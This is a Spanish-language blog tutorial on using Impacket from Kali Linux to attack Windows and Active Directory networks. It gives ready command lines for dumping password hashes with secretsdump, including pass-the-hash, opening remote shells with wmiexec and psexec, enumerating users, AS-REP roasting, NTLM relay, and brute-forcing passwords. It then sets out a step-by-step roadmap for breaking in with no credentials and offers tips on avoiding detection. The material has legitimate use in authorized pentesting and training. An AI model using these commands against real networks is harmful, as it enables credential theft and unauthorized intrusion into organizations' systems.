Kali Linux: Impacket para Auditoría de Red

https://www.onlinetis.com

Kali Linux: Impacket para Auditoría de Red

Si estás trabajando con Kali Linux, python3-impacket es básicamente la "navaja suiza" que necesitas para auditar protocolos de red de Windows.

Es una colección de clases de Python diseñadas para trabajar con protocolos de red (como SMB, MSRPC, Kerberos, etc.), permitiéndote interactuar con ellos de forma muy granular.

Aquí te explico lo esencial para que empieces a usarlo hoy mismo:


1. ¿Cómo instalarlo?

En las versiones modernas de Kali, lo ideal es instalarlo a través del gestor de paquetes oficial para evitar conflictos:

Bash
sudo apt update
sudo apt install python3-impacket

2. Herramientas más famosas del paquete

Impacket no es un solo programa, sino un conjunto de scripts. Los encontrarás generalmente en /usr/bin/ o puedes llamarlos directamente. Aquí los "imprescindibles":

  • psexec.py: Permite ejecución remota de comandos en Windows (similar al PsExec de Sysinternals) si tienes credenciales de administrador.

  • secretsdump.py: El terror de los dominios. Sirve para volcar hashes de contraseñas (SAM, LSA, NTDS.dit) sin necesidad de ejecutar agentes en el objetivo.

  • wmiexec.py: Una alternativa más sigilosa a PsExec que utiliza WMI para ejecutar comandos.

  • GetNPUsers.py: Ideal para ataques de AS-REP Roasting (busca usuarios que no requieren pre-autenticación de Kerberos para intentar crackear sus contraseñas).

  • smbserver.py: Levanta un servidor SMB local rápidamente para transferir archivos entre tu Kali y una máquina Windows.


3. Ejemplo de uso común

Si quieres intentar entrar a una máquina Windows teniendo el usuario y la contraseña (o el hash), podrías usar wmiexec:

Bash
python3 wmiexec.py USUARIO:'CONTRASEÑA'@IP_OBJETIVO

Nota de seguridad: Impacket es una herramienta de doble filo. Es excelente para profesionales de ciberseguridad, pero recuerda siempre usarla en entornos controlados o con autorización previa. ¡No querrás que el equipo de Blue Team te detecte a la primera!


¿Cómo están organizados los scripts?

En Kali, puedes listar todos los scripts disponibles de Impacket para ver qué más tienes a tu disposición con este comando:

Bash
ls /usr/bin/*.py | grep -E 'psexec|smb|kerb|wmiexec|secretsdump'

 

Vamos a enfocarnos en los "Tres Reyes Magos" de Impacket, que son los que más usarás en entornos de Active Directory o redes Windows.

Aquí tienes la sintaxis detallada para que no tengas que pelearte con los manuales:


1. impacket-secretsdump (Extracción de credenciales)

Este es el estándar de oro para obtener hashes. Si consigues privilegios de administrador, este comando te devuelve los hashes de todos los usuarios de la máquina o del dominio.

  • Sintaxis con contraseña:

    impacket-secretsdump dominio.local/usuario:password@IP_OBJETIVO

  • Sintaxis "Pass-the-Hash" (si solo tienes el hash NT):

    impacket-secretsdump -hashes :aad3b435b51404eeaad3b435b51404ee:tu_hash_aqui dominio/usuario@IP_OBJETIVO

2. impacket-wmiexec (Shell semi-interactiva)

Es la forma más "limpia" de ejecutar comandos remotamente. A diferencia de psexec, no deja tantos rastros en el disco de la víctima porque usa WMI.

  • Sintaxis:

    impacket-wmiexec dominio/usuario:password@IP_OBJETIVO

  • ¿Por qué usarlo? Te devuelve una shell donde puedes navegar por carpetas y ejecutar comandos de PowerShell o CMD directamente.

3. impacket-smbserver (Transferencia de archivos)

Muy útil cuando necesitas pasar una herramienta desde tu Kali a la máquina Windows (o viceversa) y no quieres configurar un servidor HTTP complejo.

  • Cómo iniciarlo en Kali:

    sudo impacket-smbserver nombre_compartido $(pwd) -smb2support

    (Esto comparte tu carpeta actual como un recurso llamado "nombre_compartido")

  • Cómo usarlo desde Windows:

    En la CMD de Windows pones: dir \\TU_IP_KALI\nombre_compartido


Tabla de Referencia Rápida

HerramientaProtocolo principalObjetivo principal
GetNPUsersKerberosAS-REP Roasting (conseguir hashes sin loguearse)
GetUserSPNsKerberosKerberoasting (atacar cuentas de servicio)
psexecSMB/MSRPCShell con privilegios de SYSTEM (más ruidoso)
smbclientSMBListar carpetas compartidas y subir/bajar archivos

💡 Un consejo de "amigo":

En las versiones más recientes de Kali, los scripts suelen tener el prefijo impacket- (ejemplo: impacket-psexec). Si el comando psexec.py te da error de "comando no encontrado", intenta añadirle el prefijo.

 

Entrar "desde cero" en un entorno Windows/Active Directory es como un juego de dominó: necesitas que caiga la primera pieza para que el resto cedan. Con Impacket, el proceso suele seguir un orden lógico de reconocimiento y ataque de protocolos.

Aquí tienes la hoja de ruta técnica para cuando no tienes ni una sola contraseña:


1. Enumeración de Usuarios (El primer paso)

Antes de atacar, necesitas nombres. Si el servidor tiene el protocolo SMB mal configurado (sesiones nulas), puedes extraer la lista de usuarios.

  • Herramienta: impacket-samrdump

  • Comando: impacket-samrdump IP_OBJETIVO

    Esto intentará listar todos los usuarios del sistema sin pedirte contraseña.

2. AS-REP Roasting (El ataque "sin contraseña")

Este es el ataque favorito para empezar "desde cero". Busca usuarios que tienen desactivada la "Pre-autenticación de Kerberos". Si encuentras uno, el servidor te enviará un dato que puedes crackear en tu Kali para obtener su contraseña.

  • Herramienta: impacket-GetNPUsers

  • Comando:

    impacket-GetNPUsers dominio.local/ -usersfile usuarios.txt -format hashcat -outputfile hashes.txt

  • Siguiente paso: Si obtienes un hash, lo llevas a Hashcat o John the Ripper para descubrir la contraseña en texto claro.

3. SMB Relay (Aprovechar el tráfico de otros)

Si no tienes credenciales, puedes esperar a que alguien de la red se equivoque o genere tráfico. Con este ataque, "capturas" la autenticación de una máquina y la "retransmites" a otra para ganar acceso.

  • Herramienta: impacket-ntlmrelayx

  • Preparación: Debes desactivar el SMB en tu Kali y luego ejecutar:

    impacket-ntlmrelayx -tf objetivos.txt -smb2support

    Si un usuario administrador intenta conectar a una ruta inexistente, el hash pasará por tu Kali y el script lo usará para darte una shell en las máquinas de objetivos.txt.

4. Fuerza Bruta (Último recurso)

Si lo anterior falla, puedes intentar adivinar contraseñas comunes (como Septiembre2023!) contra la lista de usuarios que encontraste en el paso 1.

  • Herramienta: impacket-smbclient

  • Comando:

    impacket-smbclient dominio/usuario:password@IP_OBJETIVO


Resumen de estrategia "Desde Cero":

  1. Identificar: Usa nmap para ver si los puertos 135, 139, 445 (SMB) y 88 (Kerberos) están abiertos.

  2. Extraer: Intenta sacar nombres de usuario con samrdump o rpcdump.

  3. Atacar Kerberos: Prueba GetNPUsers con esos nombres. Es silencioso y muy efectivo.

  4. Escuchar: Si estás en la misma red local, deja ntlmrelayx corriendo para ver si pescas algo.

¿Qué te parece si empezamos por lo más básico? Si tienes una IP objetivo, prueba a lanzar este comando y dime si te devuelve una lista de usuarios o un error de "Access Denied":

impacket-samrdump IP_OBJETIVO

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux